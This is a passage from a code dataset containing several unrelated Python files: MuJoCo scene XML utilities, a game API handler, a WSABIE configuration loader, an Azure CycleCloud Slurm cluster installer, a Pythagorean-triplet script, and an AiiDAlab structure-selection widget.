'10')\n vel.tail = \"\\n\\t\\t\"\n\n vel.tail = \"\\n\\t\" # Correctly format tha last one\n return xml_root\n\n\ndef update_complier_tag(xml_root):\n c_tag = xml_root.find('compiler')\n c_tag.set('eulerseq', 'zxy')\n return xml_root\n\n\ndef add_gravity_tag(xml_root, val):\n xml_root[-1].tail = \"\\n\\t\"\n g_tag = ET.SubElement(xml_root, 'option')\n g_tag.set('gravity', '{} {} {}'.format(val[0], val[1], val[2]))\n return xml_root\n\n\ndef add_contact_tag(xml_root):\n xml_root[-1].tail = \"\\n\\t\"\n o_tag = ET.SubElement(xml_root, 'option')\n o_tag.tail = \"\\n\"\n o_tag.text = \"\\n\\t\\t\"\n c_tag = ET.SubElement(o_tag, 'flag')\n c_tag.set('contact', 'disable')\n c_tag.tail = \"\\n\\t\"\n return xml_root\n\n\ndef add_statistic_tag(xml_root, bb_center=[0., 0., 0.]):\n xml_root[-1].tail = \"\\n\\t\"\n s_tag = ET.SubElement(xml_root, 'statistic')\n s_tag.set('extent', '1.0')\n s_tag.set('center', '{} {} {}'.format(bb_center[0], bb_center[1], bb_center[2]))\n return xml_root\n\n\ndef add_global_visual_properties(xml_root, clip_range=[0.1, 12.0]):\n xml_root[-1].tail = \"\\n\\t\"\n v_tag = ET.SubElement(xml_root, 'visual')\n v_tag.tail = \"\\n\"\n v_tag.text = \"\\n\\t\\t\"\n m_tag = ET.SubElement(v_tag, 'map')\n m_tag.set('force', '0.1')\n m_tag.set('fogstart', '3.')\n m_tag.set('fogend', '5.')\n m_tag.set('znear', str(clip_range[0]))\n m_tag.set('zfar', str(clip_range[1]))\n m_tag.tail = \"\\n\\t\"\n return xml_root\n\n\ndef add_texture(xml_root):\n asset = xml_root.find('asset')\n asset.text = \"\\n\\t\\t\"\n asset.tail = \"\\n\\t\"\n asset[-1].tail = \"\\n\\t\\t\"\n t1 = ET.SubElement(asset, 'texture')\n t1.set('builtin', 'flat')\n t1.set('name', 'objTex')\n t1.set('height', '32')\n t1.set('width', '32')\n t1.set('rgb1', '1 1 1')\n t1.set('type', 'cube')\n t1.tail = \"\\n\\t\\t\"\n t2 = ET.SubElement(asset, 'texture')\n t2.set('builtin', 'flat')\n t2.set('name', 'handleTex')\n t2.set('height', '32')\n t2.set('width', '32')\n t2.set('rgb1', '0.8 0.8 0.8')\n t2.set('type', 'cube')\n t2.tail = \"\\n\\t\\t\"\n\n m1 = ET.SubElement(asset, 'material')\n m1.set('name', 'geomObj')\n m1.set('shininess', '0.03')\n m1.set('specular', '0.75')\n m1.set('texture', 'objTex')\n m1.tail = '\\n\\t\\t'\n m2 = ET.SubElement(asset, 'material')\n m2.set('name', 'geomHandle')\n m2.set('shininess', '0.03')\n m2.set('specular', '0.75')\n m2.set('texture', 'handleTex')\n m2.tail = '\\n\\t'\n\n for geom in xml_root.iter('geom'):\n geom.set('material', 'geomObj')\n return xml_root\n\n\ndef add_base_body(xml_root, name=\"base\", pose=[0., 0., 0.], ori=[1., 0., 0., 0.]):\n # # Set body base at link_0\n # for link in xml_root.iter('body'):\n # if link.attrib['name'] == 'link_0':\n # pose = [float(i) for i in link.attrib['pos'].split(' ')]\n # ori = [float(i) for i in link.attrib['quat'].split(' ')]\n # # Set the original values to defaults\n # link.set('pos', '0.0 0.0 0.0')\n # link.set('quat', '1.0 0.0 0.0 0.0')\n\n xml_root[-1].tail = \"\\n\\t\\t\"\n body_base = ET.SubElement(xml_root, 'body')\n body_base.text = \"\\n\\t\\t\\t\"\n body_base.set('name', name)\n body_base.set('pos', '{} {} {}'.format(pose[0], pose[1], pose[2]))\n # NOTE: orientation quaternion is in wxyz format\n body_base.set('quat', '{} {} {} {}'.format(ori[0], ori[1], ori[2], ori[3]))\n body_base.tail = \"\\n\\t\\t\"\n\n world = xml_root.find('worldbody')\n body_base.extend(world)\n world.clear()\n world.append(body_base)\n xml_root.remove(body_base)\n\n # Formatting\n for b in body_base.findall('geom'):\n b.tail = \"\\n\\t\\t\\t\"\n for b in body_base.findall('body'):\n b.text = \"\\n\\t\\t\\t\\t\"\n b.tail = \"\\n\\t\\t\\t\"\n for child in b:\n child.tail = \"\\n\\t\\t\\t\\t\"\n child.tail = \"\\n\\t\\t\\t\"\n b.tail = \"\\n\\t\\t\"\n world.tail = \"\\n\\t\"\n world.text = \"\\n\\t\\t\"\n return xml_root\n\n\ndef add_camera(xml_root, name=\"cam\", pose=[0., 0., 0.], ori=[1., 0., 0., 0.], fovy=85):\n xml_root[-1].tail = \"\\n\\t\\t\"\n body = ET.SubElement(xml_root.find('worldbody'), 'body')\n body.text = \"\\n\\t\\t\\t\"\n body.set('name', name + '_body')\n body.set('pos', '{} {} {}'.format(pose[0], pose[1], pose[2]))\n body.set('quat', '{} {} {} {}'.format(ori[0], ori[1], ori[2], ori[3]))\n body.tail = \"\\n\\t\"\n cam = ET.SubElement(body, 'camera')\n cam.set('euler', '-1.57 1.57 0.0')\n cam.set('fovy', str(fovy))\n cam.set('name', name)\n cam.set('pos', \"0. 0. 0.\")\n cam.tail = \"\\n\\t\\t\\t\"\n iner = ET.SubElement(body, 'inertial')\n iner.set('pos', '0.0 0.0 0.0')\n iner.set('mass', '1')\n iner.set('diaginertia', '1 1 1')\n iner.tail = \"\\n\\t\\t\\t\"\n jnt = ET.SubElement(body, 'joint')\n jnt.set('name', name + '_jnt')\n jnt.set('pos', '0. 0. 0.')\n jnt.set('axis', '1 0 0')\n jnt.set('type', 'free')\n jnt.tail = \"\\n\\t\\t\"\n xml_root[-1].tail = \"\\n\\t\"\n return xml_root\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input_files', type=str, nargs='+', help='input files')\n parser.add_argument('-o', '--output_files', type=str, nargs='+', help='onput files')\n parser.add_argument('-cm', '--correct-mesh', action='store_true', help='correct meshes')\n parser.add_argument('-uxt', '--update-xml-tags', action='store_true', help='copy geom body names in xml')\n parser.add_argument('--obj-type', type=str, default='microwave', help='object category')\n args = parser.parse_args()\n\n if args.correct_mesh:\n if args.output_files is None:\n args.output_files = copy.copy(args.input_files) # Update input mesh file inplace\n\n for mesh_in, mesh_out in zip(args.input_files, args.output_files):\n mesh_in = os.path.abspath(mesh_in)\n mesh_out = os.path.abspath(mesh_out)\n try:\n res = make_mesh_watertight(mesh_in, mesh_out)\n if not res:\n print(\">>>>>>>>>> Failed to correct mesh:{}\".format(mesh_in))\n except:\n print(\">>>>>>>>>> Failed to correct mesh:{}\".format(mesh_in))\n\n elif args.update_xml_tags:\n generate_mujoco_scene_xml(urdf_file=args.input_files[0], xml_file=args.output_files[0], obj_type=args.obj_type)\n\n else:\n print(\"Not implemented yet!\")\n","sub_path":"sapien_dataset/dataset_tools.py","file_name":"dataset_tools.py","file_ext":"py","file_size_in_byte":11936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30648780","text":"# encoding: utf-8\n\nfrom game.kancolle import current\n\n\ndef on_api_request_received(apiname, data):\n usr = current.player\n usr.fleetmanager.load_from_request(apiname, data)\n for idstr in data[\"api_id_items\"].split(\",\"):\n idx = int(idstr)\n usr.ships.pop(idx)\n\n\ndef on_api_response_received(apiname, data):\n usr = current.player\n idx = data[\"api_ship\"][\"api_id\"]\n usr.ships[idx].load_from_response(apiname, data[\"api_ship\"])\n usr.fleetmanager.load_from_response(apiname, data[\"api_deck\"])\n","sub_path":"game/kancolle/kcsapi/api_req_kaisou/powerup.py","file_name":"powerup.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"253952722","text":"# !/usr/bin/env python3\n# -*- coding:utf-8 -*-\n#\n# Author: Flyaway - flyaway1217@gmail.com\n# Blog: zhouyichu.com\n#\n# Python release: 3.5.2\n#\n# Date: 2017-06-07 10:23:18\n# Last modified: 2017-06-14 13:55:34\n\n\"\"\"\nRead configuration for WSABIE.\n\"\"\"\n\nimport configparser\nimport time\nimport os\n\n\nclass Config:\n \"\"\"Config class for WSABIE.\"\"\"\n def __init__(self):\n self._str_time = time.strftime(\n '%Y_%m_%d_%H_%M_%S', time.localtime(time.time()))\n\n def load(self, path):\n self._path = path\n self._config = configparser.ConfigParser(\n interpolation=configparser.ExtendedInterpolation())\n self._config.read(path, encoding='utf8')\n\n common = self._config['common']\n self._set_common(common)\n train = self._config['train']\n self._set_train_config(train)\n train = self._config['predict']\n self._set_predict_config(train)\n train = self._config['eval']\n self._set_eval_config(train)\n\n self._set_configs()\n\n def save(self):\n path = 'config.ini'\n path = os.path.join(self.modelDir, path)\n s = ''.join(['# ', self._str_time])\n with open(path, 'w', encoding='utf8') as f:\n f.write(s+'\\n')\n self._config.write(f)\n\n def _set_configs(self):\n self._config.set('train', 'alg', self.alg)\n self._config.set('train', 'C1', str(self.C1))\n self._config.set('train', 'C2', str(self.C2))\n self._config.set('train', 'embed_size', str(self.embed_size))\n self._config.set('train', 'rate', str(self.rate))\n self._config.set('train', 'max_iter', str(self.max_iter))\n self._config.set('train', 'modelFile', str(self.modelFile))\n self._config.set('train', 'gradFile', str(self.gradFile))\n self._config.set('train', 'arff', str(self.arff))\n self._config.set('train', 'method', str(self.method))\n self._config.set('predict', 'predictFile', str(self.predictFile))\n self._config.set('predict', 'scoreFile', str(self.scoreFile))\n self._config.set('eval', 'detailsFile', str(self.detailsFile))\n self._config.set('eval', 'evalFile', str(self.evalFile))\n\n def _set_common(self, config):\n modelDir = config.get('modelDir')\n self.arff = config.getint('arff', fallback=0)\n self.modelDir = os.path.join(modelDir, self._str_time)\n os.mkdir(self.modelDir)\n\n def _set_train_config(self, config):\n \"\"\"Read the configurations for training process.\n \"\"\"\n self.trainFile = config.get('trainFile')\n self.modelFile = os.path.join(self.modelDir, 'wsabie.model')\n self.gradFile = os.path.join(self.modelDir, 'gradient.txt')\n\n self.alg = config.get('alg', fallback='sgd')\n self.C1 = config.getfloat('C1', fallback=0.01)\n self.C2 = config.getfloat('C2', fallback=0.01)\n self.embed_size = config.getint('embed_size', fallback=100)\n self.rate = config.getfloat('rate', fallback=0.01)\n self.max_iter = config.getint('max_iter', fallback=10)\n self.method = config.getint('method', fallback=0)\n\n def _set_predict_config(self, config):\n \"\"\"Read the configurations for predicting process.\n \"\"\"\n self.testFile = config.get('testFile')\n self.predictFile = os.path.join(self.modelDir, 'predict.txt')\n self.scoreFile = os.path.join(self.modelDir, 'score.txt')\n\n def _set_eval_config(self, config):\n \"\"\"Read the configurations for evaluating process.\n \"\"\"\n self.trueFile = config.get('trueFile')\n self.detailsFile = os.path.join(self.modelDir, 'details.txt')\n self.evalFile = os.path.join(self.modelDir, 'evalResult.txt')\n\n\nif __name__ == '__main__':\n path = './config.ini'\n config = Config()\n config.load(path)\n config.save()\n","sub_path":"wsabie/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"458025864","text":"import argparse\nfrom hashlib import md5\nimport json\nimport logging\nimport logging.config\nimport os\nimport subprocess\nimport installlib as ilib\nfrom typing import Dict, Optional\n\n\nclass InstallSettings:\n def __init__(self, config: Dict, platform_family: str, mode: str) -> None:\n if \"slurm\" not in config:\n config[\"slurm\"] = {}\n\n if \"accounting\" not in config[\"slurm\"]:\n config[\"slurm\"][\"acccounting\"] = {}\n\n if \"user\" not in config[\"slurm\"]:\n config[\"slurm\"][\"user\"] = {}\n\n if \"munge\" not in config:\n config[\"munge\"] = {}\n\n if \"user\" not in config[\"munge\"]:\n config[\"munge\"][\"user\"] = {}\n\n self.autoscale_dir = (\n config[\"slurm\"].get(\"autoscale_dir\") or \"/opt/azurehpc/slurm\"\n )\n self.cluster_name = config[\"cluster_name\"]\n self.node_name = config[\"node_name\"]\n self.hostname = config[\"hostname\"]\n self.slurmver = config[\"slurm\"][\"version\"]\n self.vm_size = config[\"azure\"][\"metadata\"][\"compute\"][\"vmSize\"]\n\n self.slurm_user: str = config[\"slurm\"][\"user\"].get(\"name\") or \"slurm\"\n self.slurm_grp: str = config[\"slurm\"][\"user\"].get(\"group\") or \"slurm\"\n self.slurm_uid: str = config[\"slurm\"][\"user\"].get(\"uid\") or \"11100\"\n self.slurm_gid: str = config[\"slurm\"][\"user\"].get(\"gid\") or \"11100\"\n\n self.munge_user: str = config[\"munge\"][\"user\"].get(\"name\") or \"munge\"\n self.munge_grp: str = config[\"munge\"][\"user\"].get(\"group\") or \"munge\"\n self.munge_uid: str = config[\"munge\"][\"user\"].get(\"uid\") or \"11101\"\n self.munge_gid: str = config[\"munge\"][\"user\"].get(\"gid\") or \"11101\"\n\n self.acct_enabled: bool = config[\"slurm\"][\"accounting\"].get(\"enabled\", False)\n self.acct_user: Optional[str] = config[\"slurm\"][\"accounting\"].get(\"user\")\n self.acct_pass: Optional[str] = config[\"slurm\"][\"accounting\"].get(\"password\")\n self.acct_url: Optional[str] = config[\"slurm\"][\"accounting\"].get(\"url\")\n self.acct_cert_url: Optional[str] = config[\"slurm\"][\"accounting\"].get(\"certificate_url\")\n\n self.use_nodename_as_hostname = config[\"slurm\"].get(\n \"use_nodename_as_hostname\", False\n )\n self.ensure_waagent_monitor_hostname = config[\"slurm\"].get(\n \"ensure_waagent_monitor_hostname\", True\n )\n\n self.platform_family = platform_family\n self.mode = mode\n\n self.dynamic_config = config[\"slurm\"].get(\"dynamic_config\")\n if self.dynamic_config:\n self.dynamic_config = _inject_vm_size(self.dynamic_config, self.vm_size)\n self.dynamic_config\n\n self.max_node_count = int(config[\"slurm\"].get(\"max_node_count\", 10000))\n\n self.additonal_slurm_config = config[\"slurm\"].get(\"additional\", {}).get(\"config\")\n\n\ndef _inject_vm_size(dynamic_config: str, vm_size: str) -> str:\n lc = dynamic_config.lower()\n if \"feature=\" not in lc:\n logging.warning(\"Dynamic config is specified but no 'Feature={some_flag}' is set under slurm.dynamic_config.\")\n return dynamic_config\n else:\n ret = []\n for tok in dynamic_config.split():\n if tok.lower().startswith(\"feature=\"):\n ret.append(f\"Feature={vm_size},{tok[len('Feature='):]}\")\n else:\n ret.append(tok)\n return \" \".join(ret)\n\n\ndef setup_users(s: InstallSettings) -> None:\n # Set up users for Slurm and Munge\n ilib.group(s.slurm_grp, gid=s.slurm_gid)\n\n ilib.user(\n s.slurm_user,\n comment=\"User to run slurmctld\",\n shell=\"/bin/false\",\n uid=s.slurm_uid,\n gid=s.slurm_gid,\n )\n\n ilib.group(s.munge_user, gid=s.munge_gid)\n\n ilib.user(\n s.munge_user,\n comment=\"User to run munged\",\n shell=\"/bin/false\",\n uid=s.munge_uid,\n gid=s.munge_gid,\n )\n\n\ndef run_installer(s: InstallSettings, path: str, mode: str) -> None:\n subprocess.check_call([path, mode, s.slurmver])\n\n\ndef fix_permissions(s: InstallSettings) -> None:\n # Fix munge permissions and create key\n ilib.directory(\n \"/var/lib/munge\",\n owner=s.munge_user,\n group=s.munge_grp,\n mode=711,\n recursive=True,\n )\n\n ilib.directory(\n \"/var/log/munge\", owner=\"root\", group=\"root\", mode=700, recursive=True\n )\n\n ilib.directory(\n \"/run/munge\", owner=s.munge_user, group=s.munge_grp, mode=755, recursive=True\n )\n\n ilib.directory(\"/sched/munge\", owner=s.munge_user, group=s.munge_grp, mode=700)\n\n # Set up slurm\n ilib.user(s.slurm_user, comment=\"User to run slurmctld\", shell=\"/bin/false\")\n\n # add slurm to cyclecloud so it has access to jetpack / userdata\n if os.path.exists(\"/opt/cycle/jetpack\"):\n ilib.group_members(\"cyclecloud\", members=[s.slurm_user], append=True)\n\n ilib.directory(\"/var/spool/slurmd\", owner=s.slurm_user, group=s.slurm_grp)\n\n ilib.directory(\"/var/log/slurmd\", owner=s.slurm_user, group=s.slurm_grp)\n ilib.directory(\"/var/log/slurmctld\", owner=s.slurm_user, group=s.slurm_grp)\n\n\ndef munge_key(s: InstallSettings) -> None:\n\n ilib.directory(\n \"/etc/munge\", owner=s.munge_user, group=s.munge_grp, mode=700, recursive=True\n )\n\n if s.mode == \"scheduler\" and not os.path.exists(\"/sched/munge.key\"):\n # TODO only should do this on the primary\n # we should skip this for secondary HA nodes\n with open(\"/dev/urandom\", \"rb\") as fr:\n buf = bytes()\n while len(buf) < 1024:\n buf = buf + fr.read(1024 - len(buf))\n ilib.file(\n \"/sched/munge.key\",\n content=buf,\n owner=s.munge_user,\n group=s.munge_grp,\n mode=700,\n )\n\n ilib.copy_file(\n \"/sched/munge.key\",\n \"/etc/munge/munge.key\",\n owner=s.munge_user,\n group=s.munge_grp,\n mode=\"0600\",\n )\n\n\ndef accounting(s: InstallSettings) -> None:\n\n if not s.acct_enabled:\n logging.info(\"slurm.accounting.enabled is false, skipping this step.\")\n ilib.file(\n \"/sched/accounting.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n content=\"AccountingStorageType=accounting_storage/none\",\n )\n return\n\n ilib.file(\n \"/sched/accounting.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n content=\"\"\"\nAccountingStorageType=accounting_storage/slurmdbd\nAccountingStorageHost=\"localhost\"\nAccountingStorageTRES=gres/gpu\n\"\"\",\n )\n\n if s.acct_cert_url:\n logging.info(f\"Downloading {s.acct_cert_url} to /sched/AzureCA.pem\")\n subprocess.check_call(\n [\n \"wget\",\n \"-O\",\n \"/sched/AzureCA.pem\",\n s.acct_cert_url,\n ]\n )\n ilib.chown(\n \"/sched/AzureCA.pem\", owner=s.slurm_user, group=s.slurm_grp\n )\n ilib.chmod(\"/sched/AzureCA.pem\", mode=\"0600\")\n else:\n ilib.copy_file(\n \"AzureCA.pem\",\n \"/sched/AzureCA.pem\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n mode=\"0600\",\n )\n\n # Configure slurmdbd.conf\n ilib.template(\n \"/sched/slurmdbd.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n source=\"templates/slurmdbd.conf.template\",\n mode=600,\n variables={\n \"accountdb\": s.acct_url or \"localhost\",\n \"dbuser\": s.acct_user or \"root\",\n \"storagepass\": f\"StoragePass={s.acct_pass}\" if s.acct_pass else \"#StoragePass=\",\n \"slurmver\": s.slurmver,\n },\n )\n\n ilib.link(\n \"/sched/AzureCA.pem\",\n \"/etc/slurm/AzureCA.pem\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n # Link shared slurmdbd.conf to real config file location\n ilib.link(\n \"/sched/slurmdbd.conf\",\n \"/etc/slurm/slurmdbd.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.enable_service(\"slurmdbd\")\n\n\ndef complete_install(s: InstallSettings) -> None:\n if s.mode == \"scheduler\":\n _complete_install_primary(s)\n _complete_install_all(s)\n\n\ndef _complete_install_primary(s: InstallSettings) -> None:\n\n ilib.template(\n \"/sched/slurm.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n mode=\"0644\",\n source=\"templates/slurm.conf.template\",\n variables={\n \"slurmctldhost\": s.hostname,\n # TODO needs to be escaped to support accounting with spaces in cluster name\n \"cluster_name\": s.cluster_name,\n \"max_node_count\": s.max_node_count,\n },\n )\n\n if s.additonal_slurm_config:\n hash = md5(s.additonal_slurm_config.encode()).hexdigest()\n with open(\"/sched/slurm.conf\", \"r\") as fr:\n already_written = hash in fr.read()\n if not already_written: \n with open(\"/sched/slurm.conf\", \"a\") as fa:\n fa.write(\"\\n\")\n fa.write(f\"# Additional config from CycleCloud - md5 = {hash}\\n\")\n fa.write(s.additonal_slurm_config)\n\n ilib.template(\n \"/sched/cgroup.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n source=f\"templates/cgroup.conf.template\",\n mode=\"0644\",\n )\n\n if not os.path.exists(\"/sched/azure.conf\"):\n ilib.file(\n \"/sched/azure.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n mode=\"0644\",\n content=\"\",\n )\n\n if not os.path.exists(\"/sched/keep_alive.conf\"):\n ilib.file(\n \"/sched/keep_alive.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n mode=\"0644\",\n content=\"# Do not edit this file. It is managed by azslurm\",\n )\n\n\ndef _complete_install_all(s: InstallSettings) -> None:\n ilib.link(\n \"/sched/gres.conf\",\n \"/etc/slurm/gres.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.link(\n \"/sched/slurm.conf\",\n \"/etc/slurm/slurm.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.link(\n \"/sched/cgroup.conf\",\n \"/etc/slurm/cgroup.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.link(\n \"/sched/azure.conf\",\n \"/etc/slurm/azure.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.link(\n \"/sched/keep_alive.conf\",\n \"/etc/slurm/keep_alive.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n # Link the accounting.conf regardless\n ilib.link(\n \"/sched/accounting.conf\",\n \"/etc/slurm/accounting.conf\",\n owner=s.slurm_user,\n group=s.slurm_grp,\n )\n\n ilib.template(\n \"/etc/security/limits.d/slurm-limits.conf\",\n source=\"templates/slurm-limits.conf\",\n owner=\"root\",\n group=\"root\",\n mode=644,\n )\n\n ilib.directory(\n \"/etc/systemd/system/slurmctld.service.d\", owner=\"root\", group=\"root\", mode=755\n )\n\n ilib.template(\n \"/etc/systemd/system/slurmctld.service.d/override.conf\",\n source=\"templates/slurmctld.override\",\n owner=\"root\",\n group=\"root\",\n mode=644,\n )\n\n ilib.template(\n \"/etc/slurm/job_submit.lua.azurehpc.example\",\n source=\"templates/job_submit.lua\",\n owner=\"root\",\n group=\"root\",\n mode=644,\n )\n\n ilib.create_service(\"munged\", user=s.munge_user, exec_start=\"/sbin/munged\")\n\n\ndef setup_slurmd(s: InstallSettings) -> None:\n slurmd_config = f\"SLURMD_OPTIONS=-b -N {s.node_name}\"\n if s.dynamic_config:\n slurmd_config = f\"SLURMD_OPTIONS={s.dynamic_config} -N {s.node_name}\"\n if \"-b\" not in slurmd_config.split():\n slurmd_config = slurmd_config + \" -b\"\n\n ilib.file(\n \"/etc/sysconfig/slurmd\" if s.platform_family == \"rhel\" else \"/etc/default/slurmd\",\n content=slurmd_config,\n owner=s.slurm_user,\n group=s.slurm_grp,\n mode=\"0700\",\n )\n ilib.enable_service(\"slurmd\")\n\n\ndef set_hostname(s: InstallSettings) -> None:\n if not s.use_nodename_as_hostname:\n return\n ilib.set_hostname(s.node_name, s.platform_family, s.ensure_waagent_monitor_hostname)\n\n\ndef _load_config(bootstrap_config: str) -> Dict:\n if bootstrap_config == \"jetpack\":\n config = json.loads(subprocess.check_output([\"jetpack\", \"config\", \"--json\"]))\n else:\n with open(bootstrap_config) as fr:\n config = json.load(fr)\n\n if \"cluster_name\" not in config:\n config[\"cluster_name\"] = config[\"cyclecloud\"][\"cluster\"][\"name\"]\n config[\"node_name\"] = config[\"cyclecloud\"][\"node\"][\"name\"]\n\n return config\n\n\ndef main() -> None:\n # needed to set slurmctld only\n if os.path.exists(\"install_logging.conf\"):\n logging.config.fileConfig(\"install_logging.conf\")\n \n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--platform\", default=\"rhel\", choices=[\"rhel\", \"ubuntu\", \"suse\", \"debian\"]\n )\n parser.add_argument(\n \"--mode\", default=\"scheduler\", choices=[\"scheduler\", \"execute\", \"login\"]\n )\n parser.add_argument(\"--bootstrap-config\", default=\"jetpack\")\n\n args = parser.parse_args()\n\n if args.platform == \"debian\":\n args.platform = \"ubuntu\"\n\n config = _load_config(args.bootstrap_config)\n settings = InstallSettings(config, args.platform, args.mode)\n\n # create the users\n setup_users(settings)\n\n # create the munge key and/or copy it to /etc/munge/\n munge_key(settings)\n\n # runs either rhel.sh or ubuntu.sh to install the packages\n run_installer(settings, os.path.abspath(f\"{args.platform}.sh\"), args.mode)\n \n # various permissions fixes\n fix_permissions(settings)\n\n complete_install(settings)\n\n # scheduler specific - add return_to_idle script\n if args.mode == \"scheduler\":\n accounting(settings)\n # TODO create a rotate log\n ilib.cron(\n \"return_to_idle\",\n minute=\"*/5\",\n command=f\"{settings.autoscale_dir}/return_to_idle.sh 1>&2 >> {settings.autoscale_dir}/logs/return_to_idle.log\",\n )\n\n if args.mode == \"execute\":\n set_hostname(settings)\n setup_slurmd(settings)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"slurm/install/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":14300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"320493323","text":"from math import sqrt\n\ndef pyth(a,b):\n res = sqrt( a**2 + b**2 )\n if res.is_integer() : \n return (a,b,int(res))\n else: \n return None\n\ndef main():\n n = int(input('enter the limit : '))\n if n < 0:\n print(' inavlid input !!!...')\n exit(0)\n result = list()\n for i in range(1,n):\n for j in range(i,n):\n result.append( pyth(i,j))\n result = list(filter( lambda x: x , result))\n print(' number of sets found : ',len(result))\n print(result)\n\nmain()\n","sub_path":"Pythagoras_triplets.py","file_name":"Pythagoras_triplets.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"629777951","text":"\"\"\"Widgets for the upload and selection of structure data.\n\nAuthors: AiiDAlab team\n\"\"\"\nimport warnings\n\nimport aiida\nimport ipywidgets as ipw\nimport traitlets\nfrom aiidalab_widgets_base import WizardAppWidgetStep\nfrom pymatgen.analysis.dimensionality import get_dimensionality_larsen\nfrom pymatgen.analysis.local_env import CrystalNN\n\nNON_3D_ERROR_MESSAGE = \"\"\"
\n

\nStructures that do not have three-dimensional periodic boundary conditions are currently\nnot supported.\n

\n
\"\"\"\n\nNON_3D_WARNING = \"\"\"
\n

\nWarning: {dimension}D structure detected. Note that currently only three-dimensional\nstructures are supported.\n

\n
\"\"\"\n\n# The Examples list of (name, file) tuple curretly passed to\n# StructureExamplesWidget.\nExamples = [\n (\"Silicon (diamond)\", \"miscellaneous/structures/Si.xyz\"),\n (\"Silicon oxide\", \"miscellaneous/structures/SiO2.xyz\"),\n (\"Diamond\", \"miscellaneous/structures/diamond.cif\"),\n (\"Gallium arsenide\", \"miscellaneous/structures/GaAs.xyz\"),\n (\"Gold (fcc)\", \"miscellaneous/structures/Au.cif\"),\n (\"Cobalt (hcp)\", \"miscellaneous/structures/Co.cif\"),\n]\n\n\nclass StructureSelectionStep(ipw.VBox, WizardAppWidgetStep):\n \"\"\"Integrated widget for the selection of structures from different sources.\"\"\"\n\n structure = traitlets.Instance(aiida.orm.StructureData, allow_none=True)\n confirmed_structure = traitlets.Instance(aiida.orm.StructureData, allow_none=True)\n\n def __init__(self, manager, description=None, **kwargs):\n self.manager = manager\n\n if description is None:\n description = ipw.HTML(\n \"\"\"\n

Select a structure from one of the following sources and then click\n \"Confirm\" to go to the next step.

Currently only three-dimensional structures are\n supported.\n \"\"\"\n )\n self.description = description\n\n self.structure_name_text = ipw.Text(\n placeholder=\"[No structure selected]\",\n description=\"Selected:\",\n disabled=True,\n layout=ipw.Layout(width=\"auto\", flex=\"1 1 auto\"),\n )\n\n self.confirm_button = ipw.Button(\n description=\"Confirm\",\n tooltip=\"Confirm the currently selected structure and go to the next step.\",\n button_style=\"success\",\n icon=\"check-circle\",\n disabled=True,\n layout=ipw.Layout(width=\"auto\"),\n )\n self.confirm_button.on_click(self.confirm)\n self.message_area = ipw.HTML()\n\n # Create directional link from the (read-only) 'structure_node' traitlet of the\n # structure manager to our 'structure' traitlet:\n ipw.dlink((manager, \"structure_node\"), (self, \"structure\"))\n\n super().__init__(\n children=[\n self.description,\n self.manager,\n self.structure_name_text,\n self.message_area,\n self.confirm_button,\n ],\n **kwargs\n )\n\n @traitlets.default(\"state\")\n def _default_state(self):\n return self.State.INIT\n\n def _update_state(self):\n if self.structure is None:\n if self.confirmed_structure is None:\n self.state = self.State.READY\n else:\n self.state = self.State.SUCCESS\n else:\n if self.structure.pbc != (True, True, True):\n self.state = self.State.READY\n elif self.confirmed_structure is None:\n self.state = self.State.CONFIGURED\n else:\n self.state = self.State.SUCCESS\n\n @traitlets.observe(\"structure\")\n def _observe_structure(self, change):\n structure = change[\"new\"]\n with self.hold_trait_notifications():\n if structure is None:\n self.structure_name_text.value = \"\"\n self.message_area.value = \"\"\n else:\n self.structure_name_text.value = str(self.structure.get_formula())\n if self.structure.pbc != (True, True, True):\n self.message_area.value = NON_3D_ERROR_MESSAGE\n else:\n struc_dimension = self._get_structure_dimensionality()\n if struc_dimension != 3:\n self.message_area.value = NON_3D_WARNING.format(\n dimension=struc_dimension\n )\n else:\n self.message_area.value = \"\"\n self._update_state()\n\n @traitlets.observe(\"confirmed_structure\")\n def _observe_confirmed_structure(self, _):\n with self.hold_trait_notifications():\n self._update_state()\n\n @traitlets.observe(\"state\")\n def _observe_state(self, change):\n with self.hold_trait_notifications():\n state = change[\"new\"]\n self.confirm_button.disabled = state != self.State.CONFIGURED\n self.manager.disabled = state is self.State.SUCCESS\n\n def confirm(self, _=None):\n self.manager.store_structure()\n self.confirmed_structure = self.structure\n self.message_area.value = \"\"\n\n def can_reset(self):\n return self.confirmed_structure is not None\n\n def reset(self): # unconfirm\n self.confirmed_structure = None\n\n def _get_structure_dimensionality(self):\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n return get_dimensionality_larsen(\n CrystalNN().get_bonded_structure(self.structure.get_pymatgen())\n 